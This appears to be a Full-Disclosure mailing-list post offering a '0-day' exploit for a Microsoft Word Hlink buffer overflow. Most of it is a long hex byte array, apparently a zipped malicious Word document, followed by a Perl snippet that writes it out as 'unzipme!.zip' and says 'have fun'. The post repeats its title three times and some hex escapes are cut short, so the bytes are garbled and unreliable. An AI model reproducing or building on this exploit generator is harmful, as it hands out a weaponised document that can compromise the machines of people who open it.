

[Full-disclosure] 0-day Microsoft WORD Hlink Local Buffer Overflow Exploit from me .

"\x49\x40\x12\x5E\x09\x01\x91\xE9\xD4\xB0\x64\x77\xB3\x1B\x36\xBB\xCB\xEE\x46\x12\xB5\xD3\xB4\x56\x84\x3A\x58\xDB\x19\xA6\xE3\xB4\xF8\x9E\x56\xAB\x69\x3B\x52\x6D\x3B\x0C\xA2\x54\x2D\x6A\x91\x50\x29\x3\x0C\xAF\xFB\x9D\xF9\xEE\x79\xDE\xFF\x3F\xE7\xDC\x73\xEF\x79\xEC\x39\x49\xF7\xDB\x23\x0E\x3C\xFD\xC4\x85\x49\xE0\x34\xDD\x93\x49\x34\x43\x0B\x3B\xA9\x28\x0A\x07\x95\x81\x8A\x81\x4B\x0A\x9F\xFE\xFC\x93\x05\xF0\xE0\xCB\xB3\x89\x86\xD3\x9A\x96\x35\x2D\x9F\xCF\xFF\x7C\x3E\xF5\x83\xCD\x92\x4B\x85\x63\x72\x55\x52\xB7\x8E\x8D\xEA\xF5\x05\x13\xF5\xDA\xF1\xEE\x81\xEC\x9C\x38\x09\xDD\x5A\xF8\x8F\xAD\x08\xE\xA2\x59\xEF\x41\x78\x01\xFC\x07\xB4\xF4\x83\xB5\xF3\x20\x87\x45\xCA\xC3\x84\xFF\x6C\xEC\x7C\xD8\x57\x23\x7C\x24\xF5\x87\x5E\x6E\x5D\x5F\x22\x92\xE5\xAF\x7A\xD8\xA9\xE9\x13\xEB\x33\x51\xAE\xEE\x5F\x8E\x1B\x4B\xA2\x9C\x44\x7F\x5E\x82\x7E\xFD\xFE\xC1\xE2\x6C\xE5\xE9\xFE\xC4\x72\x0E\x15\xF1\xE5\x65\x24\x3D\x9D\xDE\xDE\xAE\x47\xFA\x07\xA9\x7F\xBE\xF4\x7C\x07\x61\x3B\x48\xB4\x3F\x8A\x4B\x37\x31\x4\xBB\x13\xCA\x37\x90\x9D\x08\x5D\xAE\x0E\x3D\x1D\xEB\x99\x49\xFD\xDB\x4F\x62\xF9\x07\x6A\x87\x89\x4\x47\x77\x8A\x68\x87\x89\xE5\xD6\xD3\x99\x48\xEA\x7D\x06\x06\x0C\x18\x38\x1D\xB2\xE5\x05\xAB\xEA\xE6\xCA\x8B\x8B\x9D\x67\x05\xD7\x65\x04\xB7\x81\x73\x0E\x8F\x81\x0B\x86\xE6\xF3\x8C\x0B\xA8\xDA\xC0\x59\xC1\x40\x28\x9E\x20\xE5\x04\xFD\xFE\x8E\xF1\x23\x23\x5E\x5F\x74\xBC\xDC\xB0\xAA\x41\x9E\x36\xAB\x6\x54\x5E\x19\x0C\xBB\x64\xAF\xDF\x17\x58\x2B\x3B\x0A\x5D\xCE\x0E\xBB\x7D\x8D\x2F\xE0\x8A\x78\xDD\x37\xF9\x7D\x4D\x6B\x39\x54\x95\x2A\x17\xD8\xED\x51\xAF\x2F\x22\xD7\x2D\xAD\x92\xD7\x07\xC3\x6B\x2\x2F\x20\x97\xAE\x8D\x84\xA6\xC9\xF3\x96\xDC\x2A\x4F\x11\x7A\x4A\x1D\x0E\x47\xF1\xED\x75\xB2\x13\xC\x60\x24\x54\x52\x1C\x09\x95\xC6\xA7\x47\x28\x6E\x29\x45\x54\x59\x91\xDD\xAE\x8B\x28\x93\xA1\x34\x10\x8D\xD8\x68\x50\x6E\x76\x47\x65\xC8\x6A\x0A\x06\xA2\xCE\xA6\xA8\x9A\x11\xB9\xD5\x5D\x54\x24\x9F\x3\x6E\x72\x57\x04\x43\x90\xC0\x41\x45\x4D\xC1\xD6\x09\xB2\x94\x73\xBA\xF0\x91\x76\x7B\x24\xEA\xEC\x90\x43\x57\xD4\x1D\x76\x47\xA2\xBE\x40\xB3\x8C\x9A\x08\x34\x47\x64\x27\x82\x51\x41\x51\xAF\x5B\x5E\x8F\x74\xD9\xED\x6A\x6B\x72\x46\x51\x78\xA7\x5F\x0E\xB5\x85\x43\xC1\x88\x5B\xAD\xBA\xA9\x72\x8D\xEC\x0\x60\xC0\x2D\xA3\x64\x6D\x48\xE1\x43\x70\xB3\xD3\x17\x88\x44\xE5\xB9\x4B\x56\xC9\x7E\xE7\x7A\x94\xBA\xEF\x7D\xC6\x76\x7B\xB2\x91\xF5\x25\x02\xCC\xA2\xA5\x54\xA2\x9B\x47\x10\xCD\x01\x6F\x01\xAB\xC1\x7\xC0\xED\xE0\x41\xF0\x03\xF0\x28\xF8\x25\x98\x96\x45\x94\x0E\x16\x80\xF3\xC0\xF9\x60\x10\x0C\x81\xEB\x0\xB6\x78\xBC\xE7\xE3\xE3\x07\x8F\xEF\xFF\xFB\xFE\x9E\xBF\xF6\xBC\xBD\xBF\x67\xFF\x1B\xFB\x71\x3D\x94\x5C\xEF\x86\xD5\x0A\xD1\x48\x53\xEA\xF7\xCC\x2D\x7F\x46\xCD\xA4\xA4\x4A\xB9\xDE\xED\x95\x5B\xFE\x8E\x28\xC3\xD6\x62\xA6\xDA\x23\x22\x9E\x43\xEF\x2C\xAC\x51\xED\xC6\x75\x8F\xA2\xEE\x45\xB8\xA\x22\xAA\x37\x9C\xF2\xF8\xF9\xAF\xC3\xF3\x0B\x83\x31\x70\x33\xF8\xB8\xF6\x9C\xF7\x68\xCF\x38\xFE\xD9\xD9\xE2\xB9\x16\x81\xC5\xE0\x2C\xED\xF9\x7E\x1D\x5F\x60\xC3\x93\xE0\xB9\xE0\xE0\xD5\xB1\x5C\x7D\x9\x9A\x42\x25\x5D\x5E\x69\xB6\xC3\x34\x6E\x77\x77\xB1\xBC\xFB\xC0\xCD\xE3\x77\x07\x2C\x13\xC0\xEB\xB\x93\x89\x34\x70\xC9\x81\x7B\x9E\xEA\x64\x89\x92\xA1\xFB\x0F\xFF\xEE\x38\xF1\xDB\xB7\x46\x6C\xFE\x3E\x42\xF8\x6A\x28\xF3\x52\x14\x26\x44\xE5\x54\x0C\xE3\x3C\x87\xC6\x65\x98\x8B\xD2\xB8\x0D\x63\x98\x4B\x59\xF9\x2E\xCF\x52\x1B\xC6\x30\xE7\xC6\x78\x0D\x63\x18\xC3\x9C\x67\x73\x38\xAD\xAB\x6B\xF1\x81\xE7\xAE\xAF\x5A\x0E\x2F\xFE\xF8\x84\xA2\x28\xAB\x63\xFE\xFC\xFC\xD8\xBC\x9B\x62\xF7\x58\xDB\xA5\xFF\xF4\x79\xC9\xDE\x47\x77\xFE\x60\x6F\x74\xD8\x8B\x7F\xB4\x4B\x2F\x1D\x3E\x36\x7B\x79\x7E\x41\xDB\xA1\x2B\x1D\x36\x4F\x8D\x6D\xF2\xE7\x8F\x75\xBE\x5C\xF2\x0F\x57\xAC\xCA\x11\xAB\xC8\x88\x85\xC6\xEE\x8\x7D\x9E\x06\x8F\xB7\xAC\xD4\xBB\x3E\x52\xDA\xB8\x5C\xE9\xF6\xBE\xF1\xD9\x57\xB3\x11\xDA\xB8\xE9\xED\xBF\xBB\x56\x2A\xFB\x1A\x18\x55\x30\x4A\xB7\xC7\xBB\x97\x3C\x0D\x9B\xDE\x7F\xD8\xBB\x6D\x4C\x3E\xE1\x94\xEC\x3E\x54\xB3\xA1\x06\xEE\xBA\xE5\xCB\xE1\xDB\xE2\xFD\xA8\xE3\xB5\x0E\x78\xE1\xF6\x7A\x73\xD3\x47\x2D\xD5\x9B\x0E\x96\xEC\xED\x79\xF6\x64\x65\xE1\xC9\xCA\xA9\x5B\x1E\xB8\x6B\xE6\x8\xBE\x6F\xAD\x5C\x56\x5F\x5F\xDF\x22\xD5\xD7\xAF\xA8\x87\xD8\x5D\xEF\x59\xDF\x6A\x80\x42\x45\xB9\x88\x38\xF2\x43\x4B\x23\x22\x94\x6E\xF2\x19\xE6\x22\x36\x6B\x93\xA6\x38\xD7\xA6\x98\x88\xFE\x46\xE7\x6\x98\x9A\x30\x65\xAC\x80\x2B\x04\x3B\x4C\x4E\x6A\x05\x7D\xE4\xA7\x22\xC4\x04\xE1\xEB\xBF\xFC\xC5\xB\x1C\x94\x29\x8B\x24\xDA\x4A\x57\xA9\x4B\x76\x02\x2E\xA2\x8A\x2F\x14\x13\xEC\xBE\x4D\xC1\x29\xB4\x4\xF3\xA5\x92\x7C\x9A\x9B\x4F\xCE\x7C\xA2\x29\x54\x39\x99\xAA\x6A\x47\xD3\xD2\x5A\x0B\xD5\xD5\x5A\x0E\xB5\x2E\xB0\x59\x22\x60\x74\x81\xD2\x3F\x2F\xFC\xE0\xE6\xD2\x51\xE5\x69\xD8\x19\xBD\x7B\x77\x73\x6E\xAE\xA5\x66\xF5\x1A\xC2\x07\x55\xA6\xF9\xC8\x5B\x00\xB1\x8C\xDB\x50\x77\x3D\xCA\xF3\xB0\xFB\x24\x32\x95\xDF\x96\x4E\xA3\xBE\x44\xF9\xA7\xED\x4B\x21\xC9\xAA\x3B\xD2\xCC\x7E\x72\x72\xB0\x89\xF\x2B\x77\x98\x2A\x4B\xA6\x45\xD0\x19\x51\xF5\x9B\xB4\x3A\xAB\xA5\x93\x4B\x8F\x2A\x5F\xC0\xEE\xAB\x0\x1A\x60\x3B\x91\x6F\x97\x5A\x22\x17\x62\x9A\x50\x9A\x30\x64\x79\xD4\x98\xB0\x56\xA2\x19\xB4\xA2\xE2

[Full-disclosure] 0-day Microsoft WORD Hlink Local Buffer Overflow Exploit from me .

```
"\x2D\xC6\x8F\x3B\x02\xC8\x1D\x97\xB3\x72\xB2\x2D\xE4\x25\xEA\xA4\x39\x93\x91\xBE\xB2\x42\xA2\xAC\x8
"\x57\x75\xA4\xE1\x79\x66\x6F\x43\x7B\xD8\xD6\x4E\x5C\xD2\xE2\x8A\x11\xD2\x04\xA9\x20\xEE\x3E\xCB\x29
"\xA5\x4C\xA5\x2A\xF5\xB9\x44\x91\x9E\x9F\x4A\x09\xC2\xEC\x94\x0D\xF9\xED\xAA\xFC\x8C\x7C\xE4\x89\x
"\x8E\x22\x55\x56\xA5\x54\x14\x27\xCB\x4A\x35\x6A\xFD\x70\x3E\xD9\x97\xA3\xDE\x2D\x74\x33\xF8\xCC\x09
"\xC2\x60\x0C\xDC\x0C\x3E\x0E\x3E\x01\xEE\x01\x3F\x00\xD3\xD2\x88\xD2\xC1\x02\x70\x12\x78\x3F\xB8\x11
"\x0C\xCE\x02\x6F\x02\x7F\xC2\xC2\x1D\x5A\xC6\x3A\x35\x6A\x18\x74\x5C\xEA\x45\x14\x47\x67\x88\x3B\xD3
"\x86\x38\x59\x78\xCE\xA9\xCC\xF3\x78\x9F\xFE\x9B\x6C\x5A\x9C\x3B\x3D\xCE\xAD\xBF\x1D\x73\xD0\x96\x
"\xED\x39\xCA\xC8\x4E\x71\xE5\x74\xB7\x20\x4D\x0D\xE8\x06\x5B\xC0\xB5\x60\x48\x7B\x47\xEE\x06\x1F\x06
"\x75\x29\x55\xAC\x4D\x93\xB6\xD0\xD6\xF7\xA6\xDD\xAD\xBD\x69\x0F\x69\x6F\xDA\x4F\x6D\xE2\xCD\x9A
"\x30\x1F\xDA\x0A\xD3\x75\xAD\x65\x1A\x2D\x71\xEE\x81\xC8\x08\x69\x65\xD0\xDF\x4D\x33\xEE\x34\x6B\x7
"\x87\xB4\xDA\xE3\xB4\xBC\x8D\x82\xB7\x42\xF0\x36\x8A\xEF\x84\x76\x52\xEB\xF4\x3D\xC4\x1B\x2E\x78\xF
"\x9A\x29\x55\xC2\xB0\x5B\xCF\x03\xC3\x94\xA9\x89\xE4\xCA\x5F\xCD\xE9\x2A\xF8\x50\x9B\xA4\x2A\x59\xA
"\xA0\x42\xA4\x62\x9B\x3F\xAA\xE2\xF3\x15\xEF\xE6\x4C\xDE\x9A\xDB\x85\x44\x26\x53\x8A\xD9\x6A\xB1\x9
"\x81\x8F\xB9\x0F\x5D\x9A\x1B\x9F\x68\xEE\xE0\xDC\xD0\x27\xD3\x32\x75\xF8\xC0\x5D\x0C\xD1\x74\xC8\x3
"\x2A\x93\xFA\xD0\xC9\x97\x06\x74\x0D\xAD\xE8\xA6\x82\x6A\xE7\x58\x76\xBD\xAA\x3D\x3D\xC5\x62\x62\x
"\x89\x12\x90\x19\xE7\xEE\xE4\xCB\x4A\xB5\xDB\x6A\xC6\xE7\x5D\xD8\x11\x84\xAD\xE3\xD2\x9E\xEE\xBC
"\x99\x64\x74\xF8\x62\xF8\x24\xA3\x0C\x6E\xAD\x1B\x4D\x5E\x2F\x4B\x53\xBA\x7A\xBB\xF3\x33\x21\x99\x46
"\x09\x32\xB9\xF3\x8F\xF4\xDE\x5D\x89\x86\x3A\x37\x75\xE3\x68\xA2\x57\x31\xEA\xF4\xAA\x92\x0E\x95\x6D
"\xF6\xB3\x13\xE1\x0F\xDA\x78\x1C\xC2\xB5\x6C\xA1\x7B\xBB\x72\xFA\x85\xE6\x68\x7A\xC6\xEB\xE3\x3A\x
"\x2E\xF8\x4D\xC0\x13\x0B\xA7\x38\xB8\x56\x76\xAF\xFA\xAC\x2D\xFF\x3C\x53\xFA\x05\xEA\xB5\xE0\x08\x9
"\x40\x54\x3F\x62\x4A\x96\x76\xB7\x15\x6D\x55\x37\x02\x96\x5E\xBF\x19\x03\xAC\x76\x75\x90\x65\xC0\x80\x8
"\x7F\x8B\x0E\xDC\xF7\xE4\xD1\x13\x4B\xBD\x99\x3B\x1E\x4A\xA5\x29\x37\x3C\xFF\x9E\x03\x61\xED\x88\xC
"\x6E\x12\x7D\xCC\x0B\x44\x6A\x07\xF4\x26\xA9\x43\x56\x7A\x97\xC4\x40\xE6\x43\x12\x23\xB0\x63\xC4\xB3
"\x18\xE7\x4E\x93\xB4\x93\xD4\x12\xCF\x1B\xD1\x51\x4A\xFC\x77\x08\x88\x6E\x87\xCD\x7F\x29\x60\xB5\x24
"\x3F\x86\x79\x9A\xCE\x30\x03\xDD\x7F\x1E\x69\x93\x75\x78\xF3\xB4\x7C\xA9\x51\xA7\x89\x8B\x77\x73\x7E
"\x6F\x57\xDD\xAC\x6B\x16\x09\x37\x77\xB2\x09\xBB\xFD\x4B\x1C\x45\x0E\x1E\x01\x62\x7C\x3F\x26\x8F\x65
"\xDF\x7A\xF7\xB9\x45\x4F\xBF\x26\xA9\xEE\x3D\x35\xD7\xF2\x69\x71\xB3\xA6\x9F\x6D\xEE\xC6\xD9\xE6\xA
"\x60\xC0\x80\x01\x03\x06\x0C\x18\x18\x3A\x06\x9A\xFF\x73\x88\xE9\x9D\x3F\xBD\xB3\xB5\xE8\x9A\xCC\x2D
"\x08\xE3\xB9\xFA\x11\x12\xF3\x75\x9E\xBF\x7A\x49\xCC\xD1\x43\x24\xE6\xDA\x9D\x24\xE6\xE3\x1B\x49\xE
"\x14\x89\xB9\xFC\x33\x24\xE6\xF2\xBB\x49\xFC\x55\xAF\x3D\x24\xE6\xFE\x7B\x35\xD9\x7F\x21\x91\xA7\x4F
"\x23\xF3\x3C\xDC\xAC\xE9\x64\x7B\x7A\xBA\xB0\x0F\x5E\x9D\x46\xFA\x1A\xED\x40\x76\x5E\xA6\xC8\x7B
"\xFD\x6E\xD2\xE7\xE8\x8B\xB2\xFB\xE6\xE5\xB2\x16\x36\x93\xC4\x1D\x15\x9A\x9F\xDD\x9C\xEF\xC6\xBA
"\x5B\xB4\xDF\xF1\x58\xCE\x1C\x1A\xAE\xDA\x3A\x89\xFA\xCA\x32\x8E\xC4\x5F\x7D\x1B\xEA\xBE\x91\x71
"\x1C\x36\xE3\x88\xD6\x95\x67\x92\x1D\x8D\x31\x8C\x61\x2E\x06\x93\xEC\x50\x87\x61\x0C\x73\x39\x9A\x64
"\x63\x98\x73\x63\x92\x1D\x2E\x31\x8C\x61\x0C\xF3\x4D\x8D\x71\x44\xCB\x38\xA2\x75\x65\x99\x0B\x73\x44
"\x80\xBC\xC7\x89\xD7\x01\x79\xC5\x93\xD7\x57\x79\xAF\x16\xEF\xD3\xE2\xBD\x59\xBC\x56\xCA\xEB\x95\xE
"\xF2\x1E\x2E\x5E\xBB\xE5\x35\x58\xDE\xB9\xCD\xEB\xB7\xA3\xB4\x74\x57\x93\x7A\x38\x87\xAE\x21\xB1\x8
"\xC0\xEB\x48\xFC\xF7\x93\x89\xE0\xF5\xE0\x0D\x5A\xFC\x24\xD8\x93\x89\x4F\x96\x11\x4D\x05\x0B\xC1\x22
"\xD3\x35\xB7\x4E\x03\x67\x06\x6F\x84\x0F\xAA\xA7\xEA\xE6\xA9\xE7\xE7\xC2\xD4\x41\x83\x41\x2E\x59\x25
"\x9E\x1F\x9F\xB6\xE2\x37\xEB\xD4\xFF\x8C\x72\x23\x69\xFB\xFF\x89\x4F\xFC\x39\xD5\x93\x6E\x43\x45\x1A
"\xB2\x85\xBB\x24\xEE\x5C\xE0\x50\x30\x1C\xFA\xF5\xDF\x0E\xCE\x56\xFF\x68\xBE\x64\x0A\xF7\x4A\x75\x11
"\x73\x8C\x67\x83\x31\xD0\xCF\x35\xCE\xEF\xED\xD9\xEA\x67\xF0\xFF\x6D\x62\x58\xA9\x41\xD5\xCA\xBF\x1
"\xBE\x81\x51\x30\x84\xFA\x97\xF9\x92\x29\xDC\xD6\x7E\x25\x1F\x5C\x7E\x66\x42\x3F\x7F\xB7\x06\xA3\xBF
"\xA2\xA5\x68\x05\x2D\x67\xBC\xEF\x74\xC8\x52\x8F\xEA\x0C\xAE\xFC\x8C\xC1\x6B\x1A\x18\x43\xD1\xAF
"\x44\x1B\x4A\xFC\x76\xF3\x77\x2A\x61\x6F\x73\x75\xB0\xA9\xAD\xD5\x1D\x88\xAA\x63\x82\xC5\x0D\x1C\x8
"\xCD\xFA\xD5\xBA\xD3\x36\x39\x03\x17\x11\xFE\x0F\x50\x4B\x01\x02\x14\x0B\x14\x00\x00\x00\x08\x00\x99
"\x00\x72\x00\x00\x0D\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x77\x6F\x72\x64
"\x4B\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00\x3B\x00\x00\x00\xD4\x0D\x00\x00\x00\x00";
```

open(olly, ">unzipme!.zip") || die "Can't Write temporary File\n";
binmode (olly);

[Full-disclosure] 0-day Microsoft WORD Hlink Local Buffer Overflow Exploit from me .

```
print olly $all;  
close (olly);  
print "zip file ready, have fun..\n";
```

--

Surf the Web in a faster, safer and easier way:
Download Opera 9 at <http://www.opera.com>

Powered by Outblaze

Full-Disclosure – We believe in it.
Charter: <http://lists.grok.org.uk/full-disclosure-charter.html>
Hosted and sponsored by Secunia – <http://secunia.com/>